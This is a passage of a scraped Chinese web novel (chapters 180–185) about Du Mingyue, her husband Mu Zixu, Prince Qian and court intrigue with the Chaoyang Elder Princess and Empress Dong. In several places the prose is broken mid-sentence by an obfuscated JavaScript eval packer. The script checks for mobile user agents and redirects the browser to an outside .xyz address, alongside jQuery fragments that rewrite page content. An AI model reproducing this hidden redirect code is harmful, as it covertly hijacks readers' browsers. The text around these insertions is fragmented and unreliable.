“真的,柳姨娘和春姨娘我早就送走了,两个孩子也安置在了庄子上,我已经决定此生不再见他们,我现在没有别的女人。我这两年一直在等你,我是真的爱上你了!” 他上前一步,眼神里带着偏执的期待:“只要你愿意跟慕子叙和离,我立马就娶你!” “我明媒正娶,让你做堂堂正正的侯夫人,绝不会再让你受半点委屈!你想要什么,我都给你,哪怕是天上的星星,我也会想办法给你摘下来!” 段骆岐着急的道,“而且,我现在也已经再次得到重用,我……” “段骆岐,你清醒一点!”杜明月看着他执迷不悟的样子,只觉得可笑又可悲。 “我不爱你了,当初嫁给你,是因为我认错了救命恩人。现在我认清了真相,也找到了真正想共度一生的人,你就别再纠缠了。” “不!我不信,你过去那么爱我,怎么可能一下子对我没有一点感情!你一定是爱我的!” 段骆岐激动地抓住她的手腕,力气大得让杜明月皱起了眉,“你只是还在怪我,你只是被慕子叙骗了!他就是个从南风馆出来的**,他配不上你!只有我,只有我能给你幸福!” “啪!” 清脆的巴掌声在大堂里响起。杜明月用力甩开他的手,眼神里满是失望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244505|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和厌恶。 “段骆岐,你到现在还执迷不悟!我再跟你说一遍,慕子叙现在是我相公,他是什么样的人,我比你清楚!他正直、坦荡、有担当,比你好一百倍、一千倍!你别再自欺欺人了!” 段骆岐捂着脸,难以置信地看着她。 就在这时,慕子叙快步走了进来,他刚从三皇子府回来,远远就看到客栈门口的混乱,心里一紧,立马加快了脚步。 此刻看到大堂里的狼藉,又看到段骆岐抓着杜明月的手腕,脸色瞬间沉了下来。 “段骆岐,你又来**?”慕子叙快步上前,一把将杜明月护在身后,眼神冰冷地盯着段骆岐,语气里带着浓浓的杀意。 “我没有!”段骆岐恼羞成怒,“是有人来砸店,我是来帮忙的!” “帮忙?”慕子叙冷笑一声,上前一步,一拳打在段骆岐脸上。段骆岐没防备,踉跄着后退几步,嘴角当场溢出血来。 “你以为我不知道你打的什么主意?太子刚回来,重新启用你当他的爪牙,你就又觉得自己了不起了,觉得还有机会抢回明月?” 他步步紧逼,再次抬手,段骆岐想要抵挡,却发现根本不是他的对手,慕子叙出拳极快的又一拳打在段骆岐的胸口,将他打倒在地。 “你忘了你当年是怎么背叛太子的?你以为他是真心重用你?不过是现在缺人用,才暂时留着你!等他利用完你,第一个收拾的就是你!” 慕子叙蹲下身,一把揪住段骆岐的衣领,眼神里满是寒意。 “我警告你,别再纠缠明月!否则下次,就不是挨几拳这么简单了!你要是再敢动她一根手指头,我会让你真正付出惨痛的代价!” 他松开手,一脚踹在段骆岐的腿上:“滚!” 段骆岐跌坐在地上,听着慕子叙的话,心里像被重锤砸过。 除了对杜明月爱而不得的心痛,刚才慕子叙的话倒确实提醒了他一点,那就是太子重新重用他的真正目的。 第一百八十一章 被拦住 段骆岐想起太子召见他时的眼神,那眼神里的冷漠和算计,原来根本不是他想的“器重”。 他挣扎着爬起来,看着慕子叙护着杜明月的模样,又想起自己如今的处境,终是无力地垂下了头。 他一瘸一拐地往外走,背影狼狈又落寞,再也没有了往日的嚣张。 慕子叙转过身,看着杜明月,眼神瞬间软了下来,“明月,你没事吧?有没有吓到?有没有受伤?” 他伸手轻轻抚摸着她的脸颊,动作温柔得像对待稀世珍宝。 杜明月摇摇头,握住他的手,轻声道:“我没事,就是店里……” “店里的事不重要,你没事就好。”慕子叙打断她,低头在她额头印下一个轻柔的吻。 “我已经让人去查那些黑衣人的来历了,如果真是朝阳长公主所为,我也定然会让她给你一个交代!往后我会多派些护卫过来,绝不会再让你遇到危险。” 杜明月点了点头,又觉得哪里不对劲,正想说什么,这时,掌柜的带着伙计收拾完大堂,走了过来。 掌柜的躬身道,“东家,慕公子,已经收拾好了。只是那些人砸坏了不少东西,还伤了几个伙计……” “医药费和损失费都从店铺的账上走,”杜明月说道,“受伤的伙计每人多给三个月的工钱,让他们好好养伤。” “是。”掌柜的应下,退了下去。 “如果真的是朝阳长公主做的,那咱们的处境会不会变得危险了,她这么做是什么意思?是为了表明她拥护太子的立场吗?” 慕子叙闻言却微微皱眉,他觉得事情好像不像想象中那么简单,如果真的只是为了支持太子,就更没有必要为难杜明月。 他想起一个人,知道朝阳长公主和他曾经有一段情,说不定这次的事情拜托他出马,一定能搞清楚是怎么回事。 回过神来的慕子叙握着杜明月的手,轻声道,“别担心,一切有我。朝阳长公主突然找你的麻烦,或许是有什么误会,但不管是因为什么,我都会尽快查清楚。” 杜明月点了点头,紧紧握着慕子叙的手,觉得只要有他在,自己就很安心。 “好,那你一定多加小心。”杜明月虽然信任慕子叙,但还是忍不住担心的补充了一句。 “嗯,我现在就去找谦王,这次的事情,我相信他有办法能够化解。”慕子叙也不想让杜明月担心,就直接将自己的打算说了出来。 两人正说着,外面忽然传来一阵马蹄声,谦王的护卫快步走了进来。 他躬身道,“属下见过二位,我家王爷听说客栈遭了变故,特意让我来看看,还说若是需要帮忙,尽管去谦王府说一声。” 杜明月一愣,像是没想到他竟然会这么快就派人来了,这样看来,谦王是真的很重视她的事了。 在这一瞬间,杜明月想起了之前谦王说想认自己做女儿的事,看来并不是玩笑话,而是真心。 杜明月心里一暖,对着护卫拱手道,“劳烦你替我多谢谦王殿下,告诉殿下我们没事,让他放心。” 护卫应下后离开,慕子叙看着杜明月,眼底带着几分了然,“谦王倒是有心。有他在,往后你在京城,也能少些麻烦。” 杜明月点点头,她倒是希望如此。 突然,杜明月福至心灵,决定将谦王想认自己做干女儿的提议,同慕子叙坦白,也想顺便听听他的意见。 她轻声道,“相公,今日谦王殿下说,想让我认他做干爹,你怎么看?” 慕子叙愣了愣,随即笑道,“谦王与我父亲是故交,为人正直,又真心护着你。认他做干爹,对你在京城立足也有好处。你若是愿意,便应下吧。” 得到慕子叙的支持,杜明月心里的犹豫也散了。她想着谦王眼底的期盼,又想起他这些日子的照拂,轻声道,“那我明日便跟谦王殿下说。” 第二日清晨,晨光刚漫过客栈的窗棂,杜明月处理完客栈的事,便换上一身素雅的月白锦裙,又让红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244506|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豆帮她梳了个简单的发髻,准备出发去谦王府。 “小姐,真的不用让公子陪您去吗?”红豆一边帮她整理裙摆,一边担忧地问道,“昨日刚出了客栈被砸的事,公子一定时时刻刻都很担心您的安危。” 杜明月笑着安抚红豆:“放心吧,谦王在京城身份尊贵,朝阳长公主就算再大胆,也不敢在谦王府附近动手。再说,我只是去认干爹,很快就回来。” 话虽如此,红豆还是不放心,坚持要和杜明月一起出门。 杜明月点了点头,答应了,她和红豆一前一后走出自家客栈。 刚准备上马车,却见两个穿着宫装的太监快步走过来,拦住了马车的去路。 为首的太监面无表情,对着马车拱手道,“敢问可是明月客栈的杜姑娘?朝阳长公主有请,想与姑娘谈谈。” “朝阳长公主?”红豆脸色一变,立马挡在马车前,“我家主子与长公主素不相识,我们还有事,就不随公公去了!” 太监一愣,立马就要发火,杜明月一见场面似乎变得有些紧张,立马出面安抚。 她看向为首的太监,语气平静,“公公可知长公主找我有何事?” 杜明月心想着,她与这位长公主从未谋面,昨日却派人砸了她的客栈,今日又突然派人来请,显然没安什么好心。 可越是这样,她越想弄明白,她到底哪里得罪了这位长公主,让她几次三番来找麻烦。 太监依旧面无表情:“具体事宜,杂家也不清楚,只知道长公主有要事与姑娘相商。姑娘还是随杂家走一趟吧,免得让长公主久等,惹得她不快。” 红豆还想阻拦,却被杜明月按住了手。 杜明月对着红豆使了个眼色,轻声道,“我去去就回。你别担心,若是午时我还没回来,就去谦王府找王爷帮忙。” 杜明月并没有提及慕子叙,因为她知道慕子叙在三皇子府上,她不想让朝阳长公主意识到慕子叙和三皇子过从甚密。 第一百八十二章 见到朝阳长公主 同时,杜明月也是在故意暗示红豆,事情有危险,需要她沿途能多留些记号,这样一来,若真的出事,慕子叙也能用这个线索找到他们。 红豆确实听明白了她的话,在去往长公主府上时,也确实一路都是这么偷偷做的。 路上,杜明月坐在马车上,掀开车帘一角,看着街道两旁的景象不断后退。 马车行驶的方向越来越偏僻,最后停在了一座气派的府邸前。 府门上挂着一块金匾,上面写着“朝阳长公主府”,门口的侍卫穿着统一的铠甲,眼神锐利,透着几分肃杀之气。 “杜姑娘,请吧。”太监做了个“请”的手势,语气里带着几分不容置疑。 杜明月深吸一口气,跟着太监走进府中。 府里的陈设奢华,却透着几分冷清,连个走动的丫鬟都很少见。 她跟着穿过几座庭院,终于来到一座大殿前,殿门紧闭,隐约能听到里面传来女子的说话声。 “杜姑娘,您先在此等候,杂家去通报一声。”太监说完,转身进了大殿。 没过多久,殿门被推开,一个穿着粉色宫装的丫鬟走出来,对着杜明月冷冷道:“长公主请你进去。” 杜明月走进大殿,只见一个穿着明黄色宫装的女子坐在主位上,约莫四五岁左右左右,容貌秀丽,却带着几分刻薄。 她头戴金步摇,手上戴着满绿的玉镯,正端着茶杯,眼神冰冷地盯着杜明月,像是在看什么不入流的东西。 “你就是杜明月?”朝阳长公主放下茶杯,语气里满是不屑,“果然是江南来的商人,身上一股子铜臭味,难怪会做出那么不知廉耻的事。” 杜明月皱起眉头,强压下心头的怒火:“长公主这话是什么意思?我与您素不相识,何来不知廉耻之说?” “你还敢狡辩?”朝阳长公主猛地一拍桌子,声音陡然拔高,“你刚嫁给那个从南风馆出来的男人,就不安分守己,竟然还想去勾引谦王!” “你可知谦王的岁数都能当你爹了?你到底给他下了什么**汤,让他连我都不肯见了?” 杜明月这才恍然大悟。原来这位朝阳长公主喜欢谦王,看到谦王最近常去她的客栈,是误会了她与谦王之间的关系,以为她是想攀附谦王,故意接近他。 想明白这一点,杜明月反而冷静了下来。 她看着朝阳长公主,嘴角勾起一抹淡淡的嘲讽,“长公主怕是误会了。我与谦王殿下只是长辈与晚辈的关系,他待我如女儿,我敬他如父亲,绝无半分不轨之心。 “倒是长公主,仅凭几句流言蜚语,就不分青红皂白地派人砸我的客栈,今日又强行将我请来,这般不分是非,难怪谦王殿下不愿意见您。” “你敢这么跟我说话?”朝阳长公主气得脸色发白,手指着杜明月,声音都在发抖。 “我看你是不知道天高地厚!你信不信,我只要一句话,就能让你在京城待不下去,让你那个客栈彻底关门!” “我信。”杜明月点了点头,语气依旧平静,“长公主身份尊贵,想要对付我一个商人,自然是易如反掌。” “可您若是毁了我的客栈,逼我离开京城,谦王殿下更不愿意见您了!因为一个人的心意,从来都不是靠威胁和逼迫就能得到的。” “你找死!”朝阳长公主彻底恼羞成怒,对着殿外喊道,“来人!给我掌嘴!让她知道知道,在京城,谁才是说了算的!” 殿外的丫鬟立马冲进来,撸起袖子就要动手。 就在这时,红豆猛地出手,立马握住那丫鬟的手臂,让她动弹不得。 丫鬟们被红豆的气势吓住,一时不敢上前。 朝阳长公主看着红豆,又看了看杜明月,气得浑身发抖,“好!你们好大的胆子!你们给我等着,这事没完!” 杜明月拉着红豆,对着朝阳长公主冷冷道,“长公主若是没别的事,我就先告辞了。往后若是还有什么误会,不妨直接去找谦王殿下解释,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244507|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再来找我的麻烦。” 说完,她拉着红豆转身就走,丝毫没有留恋。走出长公主府,杜明月才发现自己的手心已经沁出了薄汗。 其实她刚才确实表现得镇定,可心里还是有些后怕。 “主子,您没事吧?”红豆担忧地看着她,“刚才真是吓死我了,我还以为……” “我没事。”杜明月打断她,笑着拍了拍她的手,“多亏了你一直在我身边。走,我们先去谦王府,把这儿的事同谦王说一声,免得他担心。” 两人刚走没几步,就见一辆华丽的马车从远处驶来,停在了长公主府门口。 车门打开,董皇后衣着华丽宫装的女子走下来。 她看到杜明月和红豆,愣了愣,像是想起了什么,忽然皱起眉头。 她想起杜明月的眉眼,又想起朝阳长公主的容貌,心里忽然生出一股莫名的熟悉感。 这个杜明月,怎么越看越像朝阳长公主年轻时的模样? 这个念头刚冒出来,就被董皇后压了下去。她摇了摇头,呢喃细语道,“怎么可能,一定是我看错了。” 说完,她转身走进长公主府。殿内,朝阳长公主正坐在椅子上生气,看到董皇后进来,立马起身行礼:“皇后,您怎么来了?” 董皇后坐在她对面,看着她气呼呼的模样,轻声道,“没什么,但我见长公主不太高兴,是发生什么事情?” 朝阳长公主点了点头,把刚才的事一五一十地说了一遍,听得董皇后很是震惊。 在她心里,杜明月不是这样的人,但她也没有理由替杜明月辩解,于是干脆继续一言不发的听着。 “好了,别气了。”董皇后拍了拍朝阳长公主的手,语气温柔,“一个外地商人女子而已,不值得你这么生气。” 朝阳长公主点了点头,心里的怒火渐渐平息下来。 董皇后没再说话,她心里却在盘算着,看来,她得找个机会,好好查查这个杜明月的来历了。 第一百八十三章终于肯见我了 回到宫中的董皇后脑子里依然在想着杜明月的事情,当初她将杜明月视作手中的一把刀,将她刺向镇南侯府的时候,用得很是顺手。 后来,她放杜明月自由,本想放她一马,可没想到董家却突遭变故,被慕子叙算计,一败涂地。 她万万没想到,两年后,再次见到杜明月,竟然得知,她离开段府后,竟然转身又嫁给了慕子叙。 想到这里,董皇后忍不住一阵冷笑,看起来,她和杜明月还真是八字不合,杜明月总是能精准的成为她想要报复的对象。 董皇后想到这里,眼底的恨意更深了,又想到被自己的儿子重新启用的段骆岐,想着,当初杜明月把段家闹得鸡飞狗跳,段骆岐应该不会还想着出手帮她吧。 思前想后,做事十分谨慎的董皇后还是决定,对段骆岐也要加强监视了,即便他现在是太子的人,替他们做事,但还是要提前防备他有二心。 从长公主府离开后,杜明月便一路坐着马车到了谦王府。 马车挺稳后,杜明月得到王府大门口侍卫的许可后,拉着红豆快步走进谦王府,方才在长公主府憋下的气,随着脚步渐缓慢慢消散。 穿过栽满梧桐的庭院,远远就见谦王站在正厅门口等候,身上还是那件他最喜欢的藏青色衣袍,手里却多了串紫檀手串。 谦王见她来,眼底瞬间漾开笑意,“小丫头,你可算来了,是不是想通了?” 杜明月走上前躬身行礼,刚要开口,就被谦王一把扶起,“都是自家人,不必多礼。快进厅里坐,我让人沏了你喜欢的雨前龙井。” 进了厅,丫鬟奉上茶水,谦王看着她,语气带着几分期盼,“昨日说的事,你考虑得怎么样了?愿意认我这个干爹吗?” 杜明月捧着茶杯,指尖微微收紧,轻声道,“是,我想通了,我愿意认您做义父。只是……” 杜明月犹豫了一下,还是决定将实情说出来,“有件事,我得跟您说实话。我不知何时得罪了朝阳长公主,昨日她派人砸了我的客栈,今日又将我强请去府中刁难。” “我担心若是此时认您做义父,恐怕会给您带来麻烦。”她抬眸看向谦王,眼神里满是坦诚。 “您身份尊贵,没必要为了我,与长公主起冲突。所以我想再问您一次,即便如此,您还是愿意认我吗?” 谦王闻言,脸色瞬间沉了下来,重重拍了下桌子,“这个朝阳长公主,真是越来越不像话了!” “她怎么能仗着自己是公主,就随意欺负人!小丫头你放心,她再怎么找麻烦找不到我头上来。” 杜明月见谦王这个口气说长公主,心中有些吃惊和疑惑,因为听起来两人好像很熟的样子。 还没等她反应过来,就听到谦王又开了口。 他看着杜明月,眼神变得格外坚定,“我认你做义女,是因为喜欢你这孩子的品性,你可能不太了解我的性子,我从不怕得罪人。” “别说你只是得罪个长公主,就算是你得罪了皇帝,天塌下来,干爹也会护着你!往后有我在,看谁还敢欺负你!” 杜明月心里一暖,眼眶微微泛红。 她放下茶杯,走到谦王面前,郑重地跪下身,磕了三个头,声音带着几分哽咽,“女儿杜明月,拜见义父。” 谦王连忙扶起她,笑得眼角皱纹都挤在了一起,伸手从袖中取出一块晶莹剔透的玉佩,递到她手里。 “这是我谦王府的信物,你戴着它,往后在京城,无论遇到什么事,都可以拿着它去谦王府找我。” 杜明月接过玉佩,紧紧握在手里,心里满是感激。 她知道,从今往后,在这陌生的京城,她又多了一个可以依靠的人。 杜明月认亲后,在谦王府又小坐了片刻,因为心里还惦记着客栈的事情,谦王也没有多留,便让她早早的回去了。 待杜明月离开后,谦王越想杜明月刚才那番关于长公主的话越生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“自从你当年悔婚,不肯嫁给我那一刻起,我们之间就该结束了。是我自己愚蠢,还一直和你苦苦纠缠。” “悔婚?”朝阳长公主猛地后退一步,眼泪瞬间涌了出来,“你竟然和我提悔婚的事情,你以为是我愿意答应的吗?你以为我不想嫁给你吗?我当初就跟你说过了,我有苦衷!” 第一百八十四章 那孩子不是我扔的 朝阳长公主抬手抹掉眼泪,声音带着撕心裂肺的委屈,“当初皇上找我谈话,说你谦王府世代袭爵,手握兵权,虽你愿做闲散王爷,可他始终忌惮你的势力。” “若是我执意要嫁你,他便会以‘谋逆’为由削你爵位,抄你家产!我若是嫁你,便是把你往死路上推!” 谦王浑身一震,像是被惊雷劈中。 他从未想过,当年她突然悔婚,背后竟藏着这样的苦衷。 他一直以为,是她贪图公主的尊荣,是她放弃了他们之间的情意,却不知她是在皇权与爱情之间,选了一条最痛的路。 “还有那孩子……”朝阳长公主的声音哽咽着,几乎说不下去,“那孩子不是我扔掉的。” “当年我怀了你的孩子,本想偷偷告诉你,可皇上派人盯着我,我连见你的机会都没有。孩子生下来后,我本想把他送到你府中,却被陛下发现,派人把孩子抱走,说要‘处理’掉。” 朝阳长公主说起这些,哭得梨花带雨,一脸痛苦。 “我哭着求他,他才松口说饶孩子一命,却不肯告诉我孩子被送到了哪里。这些年,我日日都在找她,夜夜都在想她,我没有放弃她,我从来都没有……” “别说了。”谦王上前一步,一把将她拥入怀中. 积压了二十年的误解与委屈,在这一刻尽数崩塌。 “我一直不肯告诉你,是我知道你的脾气,我生怕你和皇上再起冲突,可是我没想到,你竟然恨我至此,竟然想和我断个干净。” 朝阳长公主本想将这些秘密带进坟墓里,可是当谦王不理她的时候,她便觉得天都要塌了,她可以什么都不管,但绝对不能失去谦王。 谦王拍着她的背,声音带着颤抖,“是我错了,是我误会你了。这些年,我也一直在找孩子,我以为是你扔了她,我以为你……” 朝阳长公主靠在他怀里,哭得像个孩子。二十年来的隐忍与思念,在这一刻终于有了宣泄的出口。 大殿内静悄悄的,只有两人压抑的哭声,伴着窗外飘落的梧桐叶,诉说着这段迟到了二十年的深情。 谦王轻轻抚摸着她的头发,在心里默默道:再等一等,等我们把那个残暴的皇帝从皇位上拉下来,等你我再不受皇权的威胁,我定会风风光光地娶你。 而且,我们还会找到我们的孩子,我们一家人团聚。 谦王这么想着,将朝阳长公主抱的更紧了。 不知过了多久,朝阳长公主才渐渐止住哭声。她抬起头,看着谦王泛红的眼眶,轻声道,“你……你应该没有掺和进太子和三皇子皇位的争夺中吧?” 她虽身在深宫,却也听闻近日京城暗流涌动,三皇子与太子之间的争斗愈发激烈。 “没,没有。”谦王擦去她眼角的泪痕,语气有些不自然,他别开眸子,不想和她讨论这件事,因为他最近也听说她和皇后和太子走得很近。 想到这里,谦王还是忍不住提醒了一句道,“你也不要和太子、皇后他们走得太近,还是要明哲保身,只要你不掺和其中,不管以后是谁胜出,你都依然可以坐稳你的位置。” 朝阳长公主点了点头,伸手握住他的手,“我知道了,我会注意的。” 谦王紧紧回握住她的手,眼底满是感激与温柔。 谦王和朝阳长公主将误会说开后,见天色不早,也便早早告辞了。 而朝阳长公主自偏殿回到寝宫时,嘴角的笑意还未散去。 方才与谦王解开二十年的心结,又得知他从未放下过自己,连带着对杜明月的芥蒂也烟消云散。 一想到杜明月原来只是谦王认下的义女,过往种种不过是自己因嫉妒生出的误会,她便忍不住微微笑了。 “长公主今日心情倒是不错。” 身后传来走路的声音,朝阳长公主回头望去,只见董皇后穿着一身绣金宫装,带着几个宫女缓缓走进来。 董皇后语气里带着几分刻意的热络,“是有什么好事吗?莫不是谦王殿下终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244509|181961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于肯来看你了?” 朝阳长公主笑着点头,“是啊,我们……解开了一些过去的误会。” “误会?”董皇后走到她身边,像是想起了什么,语气突然变得微妙,“你说的误会,该不会是和那个杜明月有关吧?” 朝阳长公主不解的点头,董皇后立马添油加醋道,“我倒听说,谦王最近日日往她那客栈跑,对那女人百般关照,连客栈的厨子都是谦王亲自帮忙找的。” “长公主你好好想想,谦王是那么爱管闲事的人吗?你可别被表象骗了,你以前不爱参加宫宴可能不知道她,但我对她可是很了解!” “怎么,以前是发生了什么不愉快的事情吗?”长公主好奇随口问了一句。 “当然,很多!杜明月最是擅长逢迎讨好,虽然现在看是好像和谦王没什么,可她指不定心里打着什么算盘呢,她要是没点手段,能让谦王这么替她出头?” 朝阳长公主皱了皱眉,语气带着几分不悦,“皇后你多虑了,谦王已经跟我说了,杜明月是他认下的义女,也是慕子叙的妻子,他们之间清清白白,没有半分逾矩。” “我之前确实误会了她,往后不会再找她麻烦了。”朝阳长公主一脸认真,这话既像是说给董皇后听的,又像是说给自己听的。 “清清白白?”董皇后冷笑一声,眼神里满是不屑,“长公主也太天真了。那杜明月若是真的清白,怎会在在京城和镇南候和离后,在江南待得好好的,突然又跑到京城来开客栈?” “依我看,她根本就是不甘寂寞,还是喜欢京城有权有势的日子,所以才回来的。” 董皇后说的头头是道,“回来后,恰好机缘巧合,结实了谦王,便立马决定借着谦王的名头,想在京城攀附权贵罢了。” “对了,你可能不知道,我可是听说,她以前在段家做儿媳时,就不安分守己,经常往南风馆那种地方跑,还养着奸夫,最后是被段侯爷一封休书赶了出去。这样的女人,你怎能信她?” 第一百八十五章当众甩耳光 “什么!竟然还有这样的事?”朝阳长公主心里咯噔一下,脸上的笑意瞬间淡了下去。 她虽暂时不再怀疑杜明月与谦王的关系,可董皇后这番话,还是让她对杜明月再次起了疑心。 若是这女子真的品行不端,那谦王认她做义女,岂不是给了杜明月靠近他的机会,这么一来,万一杜明月仗着自己的姿色,真的勾引谦王怎么办? 见朝阳长公主神色动摇,董皇后眼底闪过一丝算计,道,“长公主若不信,本宫可以立即派人将那段老夫人接来,听她亲口说说当时的事情。” 朝阳长公主默许,没过多久,段老夫人便颤巍巍地走进来。 段老夫人一见两人,有些紧张,但还是强装着镇定对着两人行礼,“参见皇后娘娘,参见长公主殿下。” “段老夫人免礼。”董皇后抬手示意,语气带着几分刻意的引导。 “今日请你来,是想问问你,你那前儿媳杜明月,当年为何会被你家侯爷休弃?听说,是不是因为她行为不端,有辱门风?” 段老夫人心里一紧,立马读懂了董皇后的暗示,而正好她也讨厌杜明月,便顺着她的话继续说下去。 “说来惭愧,真没想到这点丑事竟然传到了皇后的耳朵里!” 段老夫人做出一副愤慨的模样道,“那杜明月当年嫁进段家,就从未安分过!日日打扮得花枝招展,后来还偷偷往南风馆跑,与那里的妓子不清不楚也就算了,后来更是养了奸夫。” “她被老身撞破后,还不知悔改,十分猖狂!我家老大也是没办法,才下了休书,将她赶出段府!” 朝阳长公主听到这话,脸色瞬间沉了下来。她最恨的就是品行不端的女子,更何况这女子还牵扯到谦王! “好一个不知廉耻的女人!”朝阳长公主猛地一拍桌子,眼底满是怒火。 “我还以为她只是心思活络,想着攀附权贵,没想到竟如此不堪!亏得谦王还认她做义女,真真是被她迷惑住了!” 董皇后见状,连忙添油加醋:“长公主你先冷静。依我看,这杜明月就是故意伪装成无辜的样子,骗了谦王殿下,说不定还想借着谦王的名头,在京城兴风作浪。” “你可不能就这么算了,得让她知道,京城不是她能随意撒野的地方!” 朝阳长公主深吸一口气,眼神里满是决绝,“皇后所言极是!我绝不能让这样的女人缠上谦王,毁了他的名声!” “看来,之前的教训还不够,我得让她好好尝尝苦头,让她知道什么是规矩,什么是本分!” 董皇后看着朝阳长公主愤怒的模样,嘴角勾起一抹不易察觉的冷笑。 她派出去的人已经查清楚,杜明月就是朝阳长公主失散多年的亲生女儿!如果杜明月的养母过去没有多次到京城替杜明月寻亲,留下卷宗,她或许还不会查的这么顺利。 而这个发现足以让董皇后欣喜若狂。 她与朝阳长公主虽表面和睦,但其实说到底也不过是利用的关系,她只想着,等未来自己的儿子继承大统,这个长公主她也可以完全不放在眼里。 董皇后甚至一想到,等未来她们母女二人知道真相,崩溃时的样子,就觉得很有趣。 “长公主放心,若是需要帮忙,尽管跟本宫说。”回过神来的董皇后拍着朝阳长公主的手,语气带着几分虚伪的关切,“我定会帮你,绝不让那杜明月再继续蒙骗谦王。” 朝阳长公主点了点头,心里已经开始盘算着如何对付杜明月。 她丝毫没有察觉,自己早已落入董皇后的圈套,更不知道,那个她一心想要报复的女子,竟是她一直在寻找的亲生女儿。 此时在客栈忙碌的杜明月还并不知道,她已经成为了朝阳长公主的眼中钉,甚至有危险在向她靠近。 重新修整开业后的客栈并没有受到前一次打砸事件的影响,伙计们正忙着擦拭桌椅、摆放茶具,大堂里已有不少客人在用早膳,一派热闹景象。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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朝阳长公主故意将声音提高,故意让大堂里的客人都听到。客人们纷纷低下头,窃窃私语起来,目光落在杜明月身上,有好奇,有鄙夷,也有同情。 杜明月捂着发烫的脸颊,抬起头,眼神里满是倔强,“长公主,饭可以乱吃,话不能乱讲。我与义父……我与谦王殿下只是长辈与晚辈的关系。” “至于与段侯爷,我们是正常和离,现在早已断绝往来,哪有什么念念不忘!您若是没有证据,还请不要在这里污蔑我的名声!” “污蔑你?”朝阳长公主又是一声冷笑,抬手就要再打。 就在这时,慕子叙安排在客栈的侍卫悄悄退到门口,对着外面另一个自己人使了个眼色,让他赶紧去请慕子叙和谦王,毕竟长公主的身份在那里,他们不敢随便阻拦,但谦王一定可以。 而这时红豆见朝阳长公主又要动手,急得眼泪都快出来了,立马挡在了杜明月身前,长公主见状,立马不悦的瞪着她呵斥道,“一个小小的奴婢,竟然如此大胆,滚开!” 杜明月皱眉对着红豆摇了摇头,嘴唇动了动,用只有两人能听到的声音说,“别冲动,听话!” 红豆实在没办法,只能委屈不甘的退到一边,此时朝阳长公主的手再次高高抬起,即将落在杜明月脸上时,一个威严的声音突然传来,“住手!” 众人循声望去,只见谦王一脸不悦快步走了进来,他的身后跟着慕子叙。 慕子叙看到杜明月泛红的脸颊和嘴角的血迹,眼神瞬间冷了下来,快步上前,将杜明月护在身后,语气里满是杀意,“长公主殿下,你打了我的妻子?” 朝阳长公主看到谦王,心里微微一慌,却还是强装镇定,“我是长公主,打了就打了,你能把我怎么样!” 她转头看向谦王,像是在辩解一般的开口道,“你被她骗了,我今日来,就是想要让她露出真面目!她就是对你心怀不轨!” “胡说八道!”谦王脸色铁青,上前一步,和朝阳长公主对峙,语气里满是愤怒。 “明月是我认下的义女,我待她如亲生女儿,她是什么人,我会看不清?你不分青红皂白就动手**,还在这里污蔑她的名声,你是在仗势欺人吗?还有没有一点长公主的样子?” 朝阳长公主被谦王怼得说不出话来,她看着谦王护着杜明月的模样,心里更恨了。 谦王看着朝阳长公主,语气里满是失望,“我本以为,我们昨日已经解开了误会,你不会再找明月的麻烦。可你不仅动手打她,还在这里污蔑她的名声,你太让我失望了!” 他顿了顿,语气变得格外坚定:“我再说最后一次,明月是我的义女,是慕子叙的妻子。从今往后,谁若是再敢动她一根手指头,就是与我谦王为敌,我定不会放过他!” 大堂里的客人听到这话,纷纷倒吸一口凉气。 